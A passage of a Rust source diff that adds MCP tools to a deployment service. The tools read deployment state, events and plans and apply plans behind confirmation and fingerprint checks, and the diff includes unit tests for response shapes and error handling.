+    rollback: Option<DeployPlanRollback>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpDeploymentEventsResponse {
+    schema_version: String,
+    deployment_hash: String,
+    events: Vec<DeploymentEvent>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpApplyDeploymentPlanResponse {
+    schema_version: String,
+    deployment_hash: String,
+    operation: DeployPlanOperation,
+    fingerprint: String,
+    applied: bool,
+    has_changes: bool,
+    status: String,
+    message: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    command_id: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    rollback: Option<DeployPlanRollback>,
+}
+
+#[derive(Deserialize)]
+struct DeploymentLookupArgs {
+    #[serde(default)]
+    deployment_id: Option<i64>,
+    #[serde(default)]
+    deployment_hash: Option<String>,
+}
+
+#[derive(Deserialize)]
+struct DeploymentPlanArgs {
+    #[serde(flatten)]
+    lookup: DeploymentLookupArgs,
+    #[serde(default)]
+    operation: Option<DeployPlanOperation>,
+    #[serde(default)]
+    app_code: Option<String>,
+    #[serde(default)]
+    target: Option<String>,
+    #[serde(default)]
+    expected_fingerprint: Option<String>,
+    #[serde(default)]
+    rollback_target: Option<String>,
+}
+
+#[derive(Deserialize)]
+struct ApplyDeploymentPlanArgs {
+    #[serde(flatten)]
+    plan: DeploymentPlanArgs,
+    #[serde(default)]
+    confirm: bool,
+}
+
+impl From<Deployment> for McpDeploymentStatusResponse {
+    fn from(value: Deployment) -> Self {
+        Self {
+            id: value.id,
+            project_id: value.project_id,
+            deployment_hash: value.deployment_hash,
+            status: value.status,
+            runtime: value.runtime,
+            created_at: value.created_at,
+            updated_at: value.updated_at,
         }
+    }
+}
 
-        let args: Args =
-            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+impl From<DeploymentState> for McpDeploymentStateResponse {
+    fn from(value: DeploymentState) -> Self {
+        Self {
+            schema_version: value.schema_version,
+            project: value.project,
+            deployment: value.deployment,
+            agent: value.agent,
+            runtime: value.runtime,
+            apps: value.apps,
+            drift: value.drift,
+            last_command: value.last_command,
+        }
+    }
+}
 
-        // Create identifier from args (prefers hash if both provided)
-        let identifier = DeploymentIdentifier::try_from_options(
-            args.deployment_hash.clone(),
-            args.deployment_id,
-        )?;
+impl From<DeployPlan> for McpDeploymentPlanResponse {
+    fn from(value: DeployPlan) -> Self {
+        Self {
+            schema_version: value.schema_version,
+            deployment_hash: value.deployment_hash,
+            operation: value.operation,
+            target: value.target,
+            fingerprint: value.fingerprint,
+            scope: value.scope,
+            has_changes: value.has_changes,
+            actions: value.actions,
+            reasoning: value.reasoning,
+            rollback: value.rollback,
+        }
+    }
+}
 
-        // Resolve to deployment_hash
-        let resolver = UserServiceDeploymentResolver::from_context(
-            &context.settings.user_service_url,
-            context.user.access_token.as_deref(),
-        );
-        let deployment_hash = resolver.resolve(&identifier).await?;
+impl From<DeploymentEventFeed> for McpDeploymentEventsResponse {
+    fn from(value: DeploymentEventFeed) -> Self {
+        Self {
+            schema_version: value.schema_version,
+            deployment_hash: value.deployment_hash,
+            events: value.events,
+        }
+    }
+}
+
+fn json_tool_content<T: Serialize>(value: &T) -> Result<ToolContent, String> {
+    Ok(ToolContent::Text {
+        text: serde_json::to_string(value).map_err(|e| format!("Serialization error: {}", e))?,
+    })
+}
+
+async fn wait_for_command_result(
+    pg_pool: &sqlx::PgPool,
+    command_id: &str,
+    timeout_secs: u64,
+) -> Result<Option<Command>, String> {
+    use tokio::time::{sleep, Duration, Instant};
+
+    let deadline = Instant::now() + Duration::from_secs(timeout_secs);
+
+    while Instant::now() < deadline {
+        let fetched = db::command::fetch_by_command_id(pg_pool, command_id)
+            .await
+            .map_err(|e| format!("Failed to fetch command: {}", e))?;
+
+        if let Some(cmd) = fetched {
+            let status = cmd.status.to_lowercase();
+            if status == "completed"
+                || status == "failed"
+                || cmd.result.is_some()
+                || cmd.error.is_some()
+            {
+                return Ok(Some(cmd));
+            }
+        }
+
+        sleep(Duration::from_millis(COMMAND_POLL_INTERVAL_MS)).await;
+    }
+
+    Ok(None)
+}
+
+async fn enqueue_and_wait(
+    context: &ToolContext,
+    deployment_hash: &str,
+    command_type: &str,
+    parameters: Value,
+    timeout_secs: u64,
+) -> Result<Value, String> {
+    let command_id = uuid::Uuid::new_v4().to_string();
+    let command = Command::new(
+        command_id.clone(),
+        deployment_hash.to_string(),
+        command_type.to_string(),
+        context.user.id.clone(),
+    )
+    .with_parameters(parameters.clone());
+
+    let command = db::command::insert(&context.pg_pool, &command)
+        .await
+        .map_err(|e| format!("Failed to create command: {}", e))?;
+
+    db::command::add_to_queue(
+        &context.pg_pool,
+        &command.command_id,
+        deployment_hash,
+        &CommandPriority::Normal,
+    )
+    .await
+    .map_err(|e| format!("Failed to queue command: {}", e))?;
+
+    if let Some(cmd) =
+        wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await?
+    {
+        let status = cmd.status.to_lowercase();
+        Ok(json!({
+            "status": status,
+            "command_id": cmd.command_id,
+            "deployment_hash": deployment_hash,
+            "command_type": command_type,
+            "result": cmd.result,
+            "error": cmd.error,
+        }))
+    } else {
+        Ok(json!({
+            "status": "queued",
+            "command_id": command.command_id,
+            "deployment_hash": deployment_hash,
+            "command_type": command_type,
+            "message": "Command queued. Agent will process shortly.",
+        }))
+    }
+}
+
+fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver {
+    UserServiceDeploymentResolver::from_context(
+        &context.settings.user_service_url,
+        context.user.access_token.as_deref(),
+    )
+}
+
+fn stacker_base_url(context: &ToolContext) -> String {
+    let host = match context.settings.app_host.trim() {
+        "" | "0.0.0.0" => "127.0.0.1",
+        host => host,
+    };
+
+    format!("http://{}:{}", host, context.settings.app_port)
+}
+
+fn stacker_client(context: &ToolContext) -> Result<StackerClient, String> {
+    let token = context.user.access_token.as_deref().ok_or_else(|| {
+        TypedErrorEnvelope::permission_denied(
+            "Authenticated MCP mutation requires a user access token",
+        )
+        .to_pretty_json()
+    })?;
+
+    Ok(StackerClient::new(&stacker_base_url(context), token))
+}
+
+fn apply_confirmation_required_error() -> String {
+    TypedErrorEnvelope::invalid_request("apply_deployment_plan requires confirm=true")
+        .with_context("tool", "apply_deployment_plan")
+        .to_pretty_json()
+}
 
-        // Fetch deployment by hash
-        let deployment =
-            db::deployment::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash)
-                .await
-                .map_err(|e| {
-                    tracing::error!("Failed to fetch deployment: {}", e);
-                    format!("Database error: {}", e)
-                })?
-                .ok_or_else(|| format!("Deployment not found with hash: {}", deployment_hash))?;
+fn unsupported_apply_operation_error(operation: &DeployPlanOperation) -> String {
+    let operation_name = serde_json::to_string(operation)
+        .unwrap_or_else(|_| "\"unknown\"".to_string())
+        .trim_matches('"')
+        .to_string();
+
+    TypedErrorEnvelope::new(
+        TypedErrorCode::InvalidRequest,
+        "apply_deployment_plan currently supports deploy_app and rollback_deploy; full deploy apply still requires local CLI context",
+        false,
+        TypedRemediationClass::Configuration,
+    )
+    .with_context("operation", operation_name)
+    .to_pretty_json()
+}
 
-        let result = serde_json::to_string(&deployment)
-            .map_err(|e| format!("Serialization error: {}", e))?;
+async fn resolve_owned_deployment(
+    context: &ToolContext,
+    args: DeploymentLookupArgs,
+) -> Result<(String, Deployment), String> {
+    let identifier =
+        DeploymentIdentifier::try_from_options(args.deployment_hash, args.deployment_id)?;
+    let deployment_hash = create_resolver(context).resolve(&identifier).await?;
+    let deployment = db::deployment::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash)
+        .await
+        .map_err(|e| {
+            tracing::error!("Failed to fetch deployment: {}", e);
+            format!("Database error: {}", e)
+        })?
+        .ok_or_else(|| "Deployment not found".to_string())?;
+
+    if deployment.user_id.as_deref() != Some(&context.user.id) {
+        return Err("Deployment not found".to_string());
+    }
+
+    Ok((deployment_hash, deployment))
+}
+
+async fn build_validated_plan(
+    context: &ToolContext,
+    args: DeploymentPlanArgs,
+) -> Result<(Deployment, DeployPlan), String> {
+    let operation = args.operation.unwrap_or(DeployPlanOperation::Deploy);
+    let target = args.target.as_deref().unwrap_or("cloud");
+    let (deployment_hash, deployment) = resolve_owned_deployment(context, args.lookup).await?;
+    let state = DeploymentState::for_deployment_hash(&context.pg_pool, &deployment_hash)
+        .await
+        .map_err(|e| format!("Database error: {}", e))?
+        .ok_or_else(|| "Deployment not found".to_string())?;
+
+    let plan = match operation {
+        DeployPlanOperation::RollbackDeploy => {
+            let requested_target = args
+                .rollback_target
+                .as_deref()
+                .ok_or_else(|| "rollback_target is required for rollback plans".to_string())?;
+            let rollback =
+                resolve_rollback_plan_context(&context.pg_pool, &deployment, requested_target)
+                    .await
+                    .map_err(|error| error.to_pretty_json())?;
+            build_rollback_plan(
+                &state,
+                target,
+                rollback,
+                args.expected_fingerprint.as_deref(),
+            )
+        }
+        _ => build_deploy_plan(
+            &state,
+            operation,
+            target,
+            args.app_code.as_deref(),
+            args.expected_fingerprint.as_deref(),
+        ),
+    }
+    .map_err(|error| error.to_pretty_json())?;
+
+    Ok((deployment, plan))
+}
+
+#[async_trait]
+impl ToolHandler for GetDeploymentStatusTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: DeploymentLookupArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let (deployment_hash, deployment) = resolve_owned_deployment(context, args).await?;
+
+        let response = McpDeploymentStatusResponse::from(deployment);
 
         tracing::info!("Got deployment status for hash: {}", deployment_hash);
 
-        Ok(ToolContent::Text { text: result })
+        json_tool_content(&response)
     }
 
     fn schema(&self) -> Tool {
@@ -80,6 +441,295 @@ impl ToolHandler for GetDeploymentStatusTool {
     }
 }
 
+#[async_trait]
+impl ToolHandler for GetDeploymentStateTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: DeploymentLookupArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let (deployment_hash, _) = resolve_owned_deployment(context, args).await?;
+        let state = DeploymentState::for_deployment_hash(&context.pg_pool, &deployment_hash)
+            .await
+            .map_err(|e| format!("Database error: {}", e))?
+            .ok_or_else(|| "Deployment not found".to_string())?;
+
+        json_tool_content(&McpDeploymentStateResponse::from(state))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_deployment_state".to_string(),
+            description: "Get the canonical machine-readable deployment state. Provide either deployment_hash or deployment_id.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "Deployment hash (preferred, e.g., 'deployment_abc123')"
+                    },
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "Deployment ID (legacy numeric ID from User Service)"
+                    }
+                },
+                "required": []
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for GetDeploymentPlanTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: DeploymentPlanArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let (_, plan) = build_validated_plan(context, args).await?;
+
+        json_tool_content(&McpDeploymentPlanResponse::from(plan))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_deployment_plan".to_string(),
+            description: "Preview a deployment or rollback plan with stable fingerprinting before any mutation.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "Deployment hash (preferred, e.g., 'deployment_abc123')"
+                    },
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "Deployment ID (legacy numeric ID from User Service)"
+                    },
+                    "operation": {
+                        "type": "string",
+                        "enum": ["deploy", "deploy_app", "rollback_deploy"],
+                        "description": "Plan mode. Defaults to 'deploy'."
+                    },
+                    "app_code": {
+                        "type": "string",
+                        "description": "Required for deploy_app plans; ignored for deployment-wide plans."
+                    },
+                    "target": {
+                        "type": "string",
+                        "description": "Deployment target. Defaults to 'cloud'."
+                    },
+                    "expected_fingerprint": {
+                        "type": "string",
+                        "description": "Optional stale-plan guard. The plan fails if this fingerprint no longer matches."
+                    },
+                    "rollback_target": {
+                        "type": "string",
+                        "description": "Required for rollback_deploy plans. Use 'previous' or a specific marketplace version."
+                    }
+                },
+                "required": []
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for ApplyDeploymentPlanTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: ApplyDeploymentPlanArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
+        if !args.confirm {
+            return Err(apply_confirmation_required_error());
+        }
+
+        let (deployment, plan) = build_validated_plan(context, args.plan).await?;
+
+        if !plan.has_changes {
+            return json_tool_content(&McpApplyDeploymentPlanResponse {
+                schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+                deployment_hash: plan.deployment_hash,
+                operation: plan.operation,
+                fingerprint: plan.fingerprint,
+                applied: false,
+                has_changes: false,
+                status: "noop".to_string(),
+                message: "Plan already satisfied. Nothing to apply.".to_string(),
+                command_id: None,
+                rollback: plan.rollback,
+            });
+        }
+
+        match plan.operation {
+            DeployPlanOperation::DeployApp => {
+                let app_code = plan.scope.app_code.clone().ok_or_else(|| {
+                    TypedErrorEnvelope::invalid_request(
+                        "apply_deployment_plan requires an appCode/app_code for deploy_app operations",
+                    )
+                    .to_pretty_json()
+                })?;
+                let result = enqueue_and_wait(
+                    context,
+                    &plan.deployment_hash,
+                    "deploy_app",
+                    json!({
+                        "app_code": app_code,
+                        "image": serde_json::Value::Null,
+                        "pull": true,
+                        "force_recreate": false,
+                        "force_config_overwrite": false,
+                    }),
+                    COMMAND_RESULT_TIMEOUT_SECS,
+                )
+                .await?;
+
+                let status = result
+                    .get("status")
+                    .and_then(|value| value.as_str())
+                    .unwrap_or("queued")
+                    .to_string();
+                let message = result
+                    .get("message")
+                    .and_then(|value| value.as_str())
+                    .map(ToOwned::to_owned)
+                    .unwrap_or_else(|| {
+                        format!("deploy_app apply accepted for {}", plan.deployment_hash)
+                    });
+                let command_id = result
+                    .get("command_id")
+                    .and_then(|value| value.as_str())
+                    .map(ToOwned::to_owned);
+
+                json_tool_content(&McpApplyDeploymentPlanResponse {
+                    schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+                    deployment_hash: plan.deployment_hash,
+                    operation: plan.operation,
+                    fingerprint: plan.fingerprint,
+                    applied: true,
+                    has_changes: true,
+                    status,
+                    message,
+                    command_id,
+                    rollback: None,
+                })
+            }
+            DeployPlanOperation::RollbackDeploy => {
+                let rollback = plan.rollback.clone().ok_or_else(|| {
+                    TypedErrorEnvelope::internal_error(
+                        "Rollback plan did not include a resolved target version",
+                    )
+                    .to_pretty_json()
+                })?;
+                let client = stacker_client(context)?;
+                let response = client
+                    .rollback_project(deployment.project_id, &rollback.resolved_version)
+                    .await
+                    .map_err(|error| match error {
+                        crate::cli::error::CliError::Typed(envelope) => envelope.to_pretty_json(),
+                        other => {
+                            TypedErrorEnvelope::internal_error(other.to_string()).to_pretty_json()
+                        }
+                    })?;
+
+                json_tool_content(&McpApplyDeploymentPlanResponse {
+                    schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+                    deployment_hash: plan.deployment_hash,
+                    operation: plan.operation,
+                    fingerprint: plan.fingerprint,
+                    applied: true,
+                    has_changes: true,
+                    status: response.status.unwrap_or_else(|| "accepted".to_string()),
+                    message: response.msg.unwrap_or_else(|| {
+                        format!("Rollback accepted for {}", rollback.resolved_version)
+                    }),
+                    command_id: None,
+                    rollback: Some(rollback),
+                })
+            }
+            DeployPlanOperation::Deploy => Err(unsupported_apply_operation_error(&plan.operation)),
+        }
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "apply_deployment_plan".to_string(),
+            description: "Apply a previously previewed deployment plan after revalidating its fingerprint. Supports deploy_app and rollback_deploy operations.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "Deployment hash (preferred, e.g., 'deployment_abc123')"
+                    },
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "Deployment ID (legacy numeric ID from User Service)"
+                    },
+                    "operation": {
+                        "type": "string",
+                        "enum": ["deploy", "deploy_app", "rollback_deploy"],
+                        "description": "Mutation mode. deploy currently returns an unsupported typed error because it still requires local CLI context."
+                    },
+                    "app_code": {
+                        "type": "string",
+                        "description": "Required for deploy_app applies."
+                    },
+                    "target": {
+                        "type": "string",
+                        "description": "Deployment target. Defaults to 'cloud'."
+                    },
+                    "expected_fingerprint": {
+                        "type": "string",
+                        "description": "Required fingerprint from get_deployment_plan to prevent stale applies."
+                    },
+                    "rollback_target": {
+                        "type": "string",
+                        "description": "Required for rollback_deploy applies. Use 'previous' or a specific marketplace version."
+                    },
+                    "confirm": {
+                        "type": "boolean",
+                        "description": "Must be true to acknowledge the mutation."
+                    }
+                },
+                "required": ["expected_fingerprint", "confirm"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for GetDeploymentEventsTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: DeploymentLookupArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let (deployment_hash, _) = resolve_owned_deployment(context, args).await?;
+        let feed = DeploymentEventFeed::for_deployment_hash(&context.pg_pool, &deployment_hash)
+            .await
+            .map_err(|e| format!("Database error: {}", e))?
+            .ok_or_else(|| "Deployment not found".to_string())?;
+
+        json_tool_content(&McpDeploymentEventsResponse::from(feed))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_deployment_events".to_string(),
+            description: "Get the structured deployment event feed for progress, failure, and remediation signals.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": {
+                        "type": "string",
+                        "description": "Deployment hash (preferred, e.g., 'deployment_abc123')"
+                    },
+                    "deployment_id": {
+                        "type": "number",
+                        "description": "Deployment ID (legacy numeric ID from User Service)"
+                    }
+                },
+                "required": []
+            }),
+        }
+    }
+}
+
 /// Start a new deployment
 pub struct StartDeploymentTool;
 
@@ -121,14 +771,14 @@ impl ToolHandler for StartDeploymentTool {
             .await
             .map_err(|e| format!("Failed to create deployment: {}", e))?;
 
-        let response = serde_json::json!({
-            "id": deployment.id,
-            "project_id": deployment.project_id,
-            "status": deployment.status,
-            "deployment_hash": deployment.deployment_hash,
-            "created_at": deployment.created_at,
-            "message": "Deployment initiated - agent will connect shortly"
-        });
+        let response = McpStartDeploymentResponse {
+            id: deployment.id,
+            project_id: deployment.project_id,
+            status: deployment.status,
+            deployment_hash: deployment.deployment_hash,
+            created_at: deployment.created_at,
+            message: "Deployment initiated - agent will connect shortly".to_string(),
+        };
 
         tracing::info!(
             "Started deployment {} for project {}",
@@ -136,9 +786,7 @@ impl ToolHandler for StartDeploymentTool {
             args.project_id
         );
 
-        Ok(ToolContent::Text {
-            text: response.to_string(),
-        })
+        json_tool_content(&response)
     }
 
     fn schema(&self) -> Tool {
@@ -198,17 +846,15 @@ impl ToolHandler for CancelDeploymentTool {
         }
 
         // Mark deployment as cancelled (would update status in real implementation)
-        let response = serde_json::json!({
-            "deployment_id": args.deployment_id,
-            "status": "cancelled",
-            "message": "Deployment cancellation initiated"
-        });
+        let response = McpCancelDeploymentResponse {
+            deployment_id: args.deployment_id,
+            status: "cancelled".to_string(),
+            message: "Deployment cancellation initiated".to_string(),
+        };
 
         tracing::info!("Cancelled deployment {}", args.deployment_id);
 
-        Ok(ToolContent::Text {
-            text: response.to_string(),
-        })
+        json_tool_content(&response)
     }
 
     fn schema(&self) -> Tool {
@@ -228,3 +874,213 @@ impl ToolHandler for CancelDeploymentTool {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::mcp::registry::ToolRegistry;
+    use crate::{configuration::Settings, mcp::registry::ToolContext, models::User};
+    use actix_web::web;
+    use chrono::Utc;
+    use serde_json::json;
+    use std::sync::Arc;
+
+    #[test]
+    fn deployment_status_response_omits_internal_fields() {
+        let deployment = Deployment {
+            id: 31,
+            project_id: 17,
+            deployment_hash: "deployment_state_online".to_string(),
+            user_id: Some("user-1".to_string()),
+            deleted: Some(false),
+            status: "healthy".to_string(),
+            runtime: "runc".to_string(),
+            metadata: json!({"status_message": "hidden"}),
+            last_seen_at: Some(Utc::now()),
+            created_at: Utc::now(),
+            updated_at: Utc::now(),
+        };
+
+        let response = McpDeploymentStatusResponse::from(deployment);
+        let serialized = serde_json::to_value(&response).expect("serialize MCP status response");
+
+        assert_eq!(serialized["deploymentHash"], "deployment_state_online");
+        assert_eq!(serialized["status"], "healthy");
+        assert!(serialized.get("metadata").is_none());
+        assert!(serialized.get("userId").is_none());
+        assert!(serialized.get("deleted").is_none());
+        assert!(serialized.get("lastSeenAt").is_none());
+    }
+
+    #[test]
+    fn start_deployment_response_uses_allow_list_shape() {
+        let response = McpStartDeploymentResponse {
+            id: 31,
+            project_id: 17,
+            status: "pending".to_string(),
+            deployment_hash: "deployment_state_online".to_string(),
+            created_at: Utc::now(),
+            message: "Deployment initiated - agent will connect shortly".to_string(),
+        };
+
+        let serialized = serde_json::to_value(&response).expect("serialize start response");
+        assert!(serialized.get("projectId").is_some());
+        assert!(serialized.get("message").is_some());
+        assert!(serialized.get("metadata").is_none());
+    }
+
+    #[test]
+    fn deployment_state_response_uses_stable_contract_shape() {
+        let state = DeploymentState {
+            schema_version: "v1alpha1".to_string(),
+            project: crate::services::DeploymentProjectState {
+                id: 17,
+                identity: "demo".to_string(),
+                name: "Demo".to_string(),
+            },
+            deployment: crate::services::DeploymentStateDeployment {
+                id: 31,
+                deployment_hash: "deployment_state_online".to_string(),
+                status: "healthy".to_string(),
+                runtime: "runc".to_string(),
+            },
+            agent: DeploymentAgentState {
+                id: Some("agent-1".to_string()),
+                status: "online".to_string(),
+                version: Some("1.0.0".to_string()),
+                last_heartbeat: None,
+                capabilities: vec!["compose".to_string()],
+                features: crate::services::DeploymentAgentFeatures {
+                    compose: true,
+                    kata_runtime: false,
+                    backup: false,
+                    pipes: false,
+                    proxy_credentials_vault: false,
+                },
+            },
+            runtime: DeploymentRuntimeState {
+                compose_path: "/opt/stacker/docker-compose.remote.yml".to_string(),
+                env_path: "/home/trydirect/project/.env".to_string(),
+            },
+            apps: vec![],
+            drift: DeploymentDriftState {
+                has_drift: false,
+                summary: "no drift detected".to_string(),
+            },
+            last_command: None,
+        };
+
+        let serialized = serde_json::to_value(McpDeploymentStateResponse::from(state))
+            .expect("serialize deployment state");
+        assert_eq!(serialized["schemaVersion"], "v1alpha1");
+        assert!(serialized.get("project").is_some());
+        assert!(serialized.get("deployment").is_some());
+        assert!(serialized.get("metadata").is_none());
+    }
+
+    #[test]
+    fn deployment_ai_tools_are_registered() {
+        let registry = ToolRegistry::new();
+        assert!(registry.has_tool("get_deployment_state"));
+        assert!(registry.has_tool("get_deployment_plan"));
+        assert!(registry.has_tool("get_deployment_events"));
+        assert!(registry.has_tool("apply_deployment_plan"));
+    }
+
+    #[test]
+    fn apply_deployment_plan_response_has_allow_list_shape() {
+        let response = McpApplyDeploymentPlanResponse {
+            schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+            deployment_hash: "deployment_state_online".to_string(),
+            operation: DeployPlanOperation::DeployApp,
+            fingerprint: "fingerprint-123".to_string(),
+            applied: true,
+            has_changes: true,
+            status: "queued".to_string(),
+            message: "Command queued. Agent will process shortly.".to_string(),
+            command_id: Some("cmd-1".to_string()),
+            rollback: None,
+        };
+
+        let serialized = serde_json::to_value(&response).expect("serialize apply response");
+        assert_eq!(serialized["schemaVersion"], DEPLOY_PLAN_SCHEMA_VERSION);
+        assert_eq!(serialized["operation"], "deploy_app");
+        assert!(serialized.get("commandId").is_some());
+        assert!(serialized.get("result").is_none());
+        assert!(serialized.get("meta").is_none());
+    }
+
+    #[test]
+    fn apply_deployment_plan_requires_confirmation_with_typed_error() {
+        let envelope =
+            serde_json::from_str::<TypedErrorEnvelope>(&apply_confirmation_required_error())
+                .expect("deserialize typed confirmation error");
+
+        assert_eq!(envelope.code, TypedErrorCode::InvalidRequest);
+        assert_eq!(
+            envelope.message,
+            "apply_deployment_plan requires confirm=true"
+        );
+        assert_eq!(
+            envelope.context.get("tool").map(|value| value.as_str()),
+            Some("apply_deployment_plan")
+        );
+    }
+
+    #[test]
+    fn apply_deployment_plan_rejects_full_deploy_with_typed_error() {
+        let envelope = serde_json::from_str::<TypedErrorEnvelope>(
+            &unsupported_apply_operation_error(&DeployPlanOperation::Deploy),
+        )
+        .expect("deserialize typed unsupported operation error");
+
+        assert_eq!(envelope.code, TypedErrorCode::InvalidRequest);
+        assert!(envelope
+            .message
+            .contains("currently supports deploy_app and rollback_deploy"));
+        assert_eq!(
+            envelope
+                .context
+                .get("operation")
+                .map(|value| value.as_str()),
+            Some("deploy")
+        );
+    }
+
+    #[tokio::test]
+    async fn apply_deployment_plan_confirmation_error_does_not_reflect_secret_inputs() {
+        let tool = ApplyDeploymentPlanTool;
+        let pg_pool = sqlx::postgres::PgPoolOptions::new()
+            .connect_lazy("postgres://postgres:postgres@localhost/stacker_test")
+            .expect("lazy pool");
+        let context = ToolContext {
+            user: Arc::new(User {
+                id: "user-1".to_string(),
+                first_name: "Test".to_string(),
+                last_name: "User".to_string(),
+                email: "test@example.com".to_string(),
+                role: "group_user".to_string(),
+                email_confirmed: true,
+                mfa_verified: true,
+                access_token: None,
+            }),
+            pg_pool,
+            settings: web::Data::new(Settings::default()),
+        };
+        let args = json!({
+            "deployment_hash": "deployment_state_online",
+            "operation": "deploy_app",
+            "app_code": "SUPER_SECRET_SHOULD_NOT_LEAK",
+            "expected_fingerprint": "fingerprint-SUPER_SECRET_SHOULD_NOT_LEAK",
+            "confirm": false
+        });
+
+        let error = tool
+            .execute(args, &context)
+            .await
+            .expect_err("confirm=false should reject apply");
+
+        assert!(error.contains("confirm=true"));
+        assert!(!error.contains("SUPER_SECRET_SHOULD_NOT_LEAK"));
+    }
+}
diff --git a/src/mcp/tools/explain.rs b/src/mcp/tools/explain.rs
new file mode 100644
index 00000000..2880d6e9
--- /dev/null
+++ b/src/mcp/tools/explain.rs
@@ -0,0 +1,469 @@
+use async_trait::async_trait;
+use serde::{Deserialize, Serialize};
+use serde_json::{json, Value};
+
+use crate::db;
+use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path};
+use crate::mcp::protocol::{Tool, ToolContent};
+use crate::mcp::registry::{ToolContext, ToolHandler};
+use crate::models::{Project, ProjectApp};
+use crate::services::config_renderer::EnvRenderInput;
+use crate::services::{
+    build_explain_env, build_explain_topology, ExplainEnv, ExplainEnvLayer, ExplainRenderedEnv,
+    ExplainTopology, ExplainTopologyService,
+};
+
+pub struct ExplainEnvTool;
+pub struct ExplainTopologyTool;
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainEnvResponse {
+    schema_version: String,
+    deployment_hash: String,
+    app_code: String,
+    local_authoring_env_path: String,
+    runtime_env_path: String,
+    runtime_compose_path: String,
+    layers: Vec<McpExplainEnvLayerResponse>,
+    destination: McpExplainDestinationResponse,
+    rendered_env: McpExplainRenderedEnvResponse,
+    reasoning: Vec<String>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainEnvLayerResponse {
+    name: String,
+    key_names: Vec<String>,
+    key_count: usize,
+    hash: String,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainDestinationResponse {
+    path: String,
+    write_policy: String,
+    drift_protection: bool,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainRenderedEnvResponse {
+    hash: String,
+    inputs: Vec<String>,
+    server_secrets_inherited: bool,
+    service_secrets_override_server_secrets: bool,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainTopologyResponse {
+    schema_version: String,
+    deployment_hash: String,
+    target: String,
+    local_compose_path: String,
+    runtime_compose_path: String,
+    local_authoring_env_path: String,
+    runtime_env_path: String,
+    services: Vec<McpExplainTopologyServiceResponse>,
+    reasoning: Vec<String>,
+}
+
+#[derive(Serialize)]
+#[serde(rename_all = "camelCase")]
+struct McpExplainTopologyServiceResponse {
+    code: String,
+    name: String,
+    enabled: bool,
+}
+
+#[derive(Deserialize)]
+struct ExplainArgs {
+    deployment_hash: String,
+    #[serde(default)]
+    app_code: Option<String>,
+}
+
+fn local_authoring_env_path(project: &Project) -> String {
+    project
+        .request_json
+        .get("env_file")
+        .and_then(|value| value.as_str())
+        .map(ToOwned::to_owned)
+        .unwrap_or_else(|| ".env".to_string())
+}
+
+fn runtime_compose_path(project: &Project) -> String {
+    project
+        .request_json
+        .pointer("/custom/deployment_artifacts/config_bundle/remote_compose_path")
+        .and_then(|value| value.as_str())
+        .map(ToOwned::to_owned)
+        .unwrap_or_else(|| remote_runtime_compose_path().to_string())
+}
+
+fn project_target(project: &Project) -> String {
+    project
+        .request_json
+        .pointer("/deploy/target")
+        .and_then(|value| value.as_str())
+        .unwrap_or("cloud")
+        .to_string()
+}
+
+fn app_env_input(app: &ProjectApp) -> EnvRenderInput {
+    let mut input = EnvRenderInput::default();
+    if let Some(env) = app.environment.as_ref().and_then(|value| value.as_object()) {
+        input.service = env
+            .iter()
+            .filter_map(|(key, value)| value.as_str().map(|value| (key.clone(), value.to_string())))
+            .collect();
+    }
+    input
+}
+
